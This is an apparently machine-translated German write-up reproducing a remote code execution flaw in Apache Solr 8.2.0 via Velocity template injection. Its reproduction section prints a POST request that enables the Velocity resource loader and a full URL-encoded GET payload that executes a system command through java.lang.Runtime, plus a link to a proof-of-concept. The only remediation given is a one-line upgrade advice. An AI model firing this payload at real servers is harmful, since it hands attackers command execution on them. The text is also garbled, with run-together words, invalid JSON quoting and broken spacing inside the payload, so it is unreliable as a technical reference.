0x01 Einführung
Solr ist ein unabhängiger Suchanwendungsserver auf Unternehmensebene, der externe Dienste über die Webdienst-API-Schnittstelle bereitstellen kann. Benutzer können XML-Dateien in einem bestimmten Format über http-Anfragen an den Suchmaschinenserver senden, um Indizes zu generieren. Sie können auch Suchanfragen über HTTP-Get-Vorgänge stellen und Ergebnisse im XML-Format erhalten. 0x02 Einführung in die Sicherheitslücke Die Sicherheitsanfälligkeit bezüglich der Remote-Befehlsausführung durch Velocity-Vorlageninjektion wird ausgenutzt. Die Sicherheitsanfälligkeit kann direkt an Serverberechtigungen gelangen. 0x03 Einflussbereich Adresse:
https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zipEntpacken Sie nach dem Herunterladen die Datei und geben Sie dann das bin-Verzeichnis ein, um sie auszuführen. /solr startunzip solr- 8.2.0.zip
Während des Startvorgangs werden einige Warnmeldungen angezeigt. Wir können sie beseitigen, indem wir die Datei solr.in.sh unter bin ändern und SOLR_ULIMIT_CHECKS auf false setzenvim solr .in.sh Installation
Aber ich habe festgestellt, dass Core nicht erstellt werden kannWir erstellen zuerst manuell einen Ordner „new_core“ im Verzeichnis /server/solr/ und kopieren dann das Verzeichnis „conf“ unter /server/solr/configsets/_default/ in das Verzeichnis „new_core“. und klicken Sie dann auf Erstellen
0x05-Schwachstellenwiederkehr Besuchen Sie nach dem Erstellen des Kerns, um zu sehen, ob auf die Anwendungskonfigurationsdatei zugegriffen werden kannhttp://ip:8983/solr/new_core/configApache Solr integriert standardmäßig das VelocityResponseWriter-Plug-in. Der Standardwert von params.resource.loader.enabled im Plug-in-Initialisierungsparameter ist auf „false“ gesetzt, aber die Integrationseinstellungen können direkt über eine POST-Anfrage geändert werden, die auf „true“ gesetzt ist Anschließend kann eine spezielle GET-Anfrage erstellt werden, um eine Remotecodeausführung zu erreichen.
Verwenden Sie Burp, um das Paket dieser Seite abzurufen, erstellen Sie direkt eine POST-Anfrage und fügen Sie die folgenden Daten hinzu{ "update-queryresponsewriter": {"startup": "lazy",
"name" : „velocity“ ,
„class“: „solr.VelocityResponseWriter“,„template.base.dir“: „“,
„solr.resource.loader.enabled“: „true“,
„params .resource.loader .enabled": "true"}
}
Als nächstes können wir die Nutzlast zur Implementierung von RCE konstruierenNutzlast:http://ip:8983/solr/test/select ?q= 1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27)) +%23set ($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+% 23set($ ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[ 1.. $out.available()])$str.valueOf($chr.toChars($out.read()))%23end
POC-Adresse: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template0x06-Korrekturmethode Aktualisieren Sie auf die neueste Version
Das obige ist der detaillierte Inhalt vonBeispielanalyse der RCE-Schwachstelle durch Apache Solr-Velocity-Template-Injection. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!